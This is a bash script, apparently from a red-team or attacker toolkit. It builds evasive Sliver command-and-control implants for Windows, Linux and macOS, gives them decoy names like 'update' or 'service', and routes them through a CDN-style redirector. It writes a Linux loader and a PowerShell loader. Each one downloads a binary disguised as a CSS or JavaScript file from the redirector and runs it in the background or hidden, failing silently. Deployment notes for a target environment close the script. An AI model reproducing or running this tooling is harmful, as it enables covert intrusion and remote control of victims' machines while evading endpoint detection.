#!/bin/bash
# Corrected EDR-evasive beacon generator with templated redirector integration

# Configuration (automatically populated by Ansible)
BEACONS_DIR="/opt/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="cdn.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"

# Ensure required directories exist
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode

# Generate unique random values for each execution
random_string() { 
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}

# Create a new Sliver profile with redirector-compatible paths
create_profile() {
    local type=$1
    local profile_name="profile-${type}-$(random_string 8)"
    
    # Use paths that match the redirector NGINX configuration
    local http_path1="/ajax/$(random_string 8)"
    local http_path2="/static/js/$(random_string 6).js"
    
    local interval=$(( 30 + RANDOM % 120 ))
    local jitter=$(( 10 + RANDOM % 35 ))
    
    # Use sliver-client to create a new profile
    echo "[+] Creating profile: $profile_name"
    sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
    
    echo $profile_name
}

# Generate implant using existing profile
generate_implant() {
    local profile_name=$1
    local os_type=$2
    local arch=$3
    local format=$4
    local output_name=$5
    
    echo "[+] Generating $os_type $format implant with profile $profile_name"
    sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
}

# Random output filename generator
random_output_name() {
    local type=$1
    local names=(
        "update" "service" "client" "agent" "app" "system" 
        "monitor" "utility" "helper" "runtime" "driver" "module"
    )
    local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
    
    case "$type" in
        windows) echo "${name}.exe" ;;
        windows_dll) echo "${name}.dll" ;;
        linux) echo "${name}" ;;
        darwin) echo "${name}" ;;
        *) echo "${name}" ;;
    esac
}

echo "[+] Generating randomized, evasive beacons with redirector integration..."
echo "[+] Redirector host: $REDIRECTOR_HOST"
echo "[+] C2 host: $C2_HOST"

# Windows EXE
win_profile=$(create_profile "windows")
win_output=$(random_output_name "windows")
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"

# Windows DLL
dll_profile=$(create_profile "windows_dll")
dll_output=$(random_output_name "windows_dll")
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"

# Linux binary
linux_profile=$(create_profile "linux")
linux_output=$(random_output_name "linux")
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"

# macOS binary
mac_profile=$(create_profile "darwin")
mac_output=$(random_output_name "darwin")
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"

# Generate stagers
stager_profile=$(create_profile "stager")
stager_win=$(random_output_name "windows")
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"

# Create a manifest file for the serve-beacons.sh script to use
cat > "$BEACONS_DIR/manifest.json" << EOF
{
  "windows_exe": "$win_output",
  "windows_dll": "$dll_output",
  "linux_binary": "$linux_output",
  "macos_binary": "$mac_output",
  "windows_stager": "staged/$stager_win",
  "win_profile": "$win_profile",
  "dll_profile": "$dll_profile",
  "linux_profile": "$linux_profile",
  "mac_profile": "$mac_profile",
  "stager_profile": "$stager_profile",
  "redirector_host": "$REDIRECTOR_HOST",
  "redirector_port": "$REDIRECTOR_PORT",
  "c2_host": "$C2_HOST",
  "generated_date": "$(date)"
}
EOF

# Create loader scripts with redirector integration
cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX'
#!/bin/bash
# Loader script for Linux beacon
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
chmod +x /tmp/linux_update
/tmp/linux_update &
EOFLINUX

# Replace placeholder with actual redirector host
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
chmod +x "$BEACONS_DIR/linux_loader.sh"

# Create PowerShell stager with improved OPSEC
cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS'
# Windows PowerShell Beacon Loader
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$ErrorActionPreference = "SilentlyContinue"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
$outpath = "$env:TEMP\update-$(New-Guid).exe"
try {
    $wc.DownloadFile($url, $outpath)
    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
    Start-Process -WindowStyle Hidden -FilePath $outpath
} catch {
    # Fail silently
}
EOFPS

# Replace placeholder with actual redirector host
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"

# Create index of generated files
cat > "$BEACONS_DIR/reference.txt" << EOF
C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST

Beacons Generated ($(date)):
- Windows EXE: $win_output (Profile: $win_profile)
- Windows DLL: $dll_output (Profile: $dll_profile)
- Linux Binary: $linux_output (Profile: $linux_profile)
- macOS Binary: $mac_output (Profile: $mac_profile)
- Windows Stager: staged/$stager_win (Profile: $stager_profile)

Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment

IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
EOF

echo "[+] Beacon generation with redirector integration complete"
echo "[+] Run serve-beacons.sh to start serving these Sliver beacons"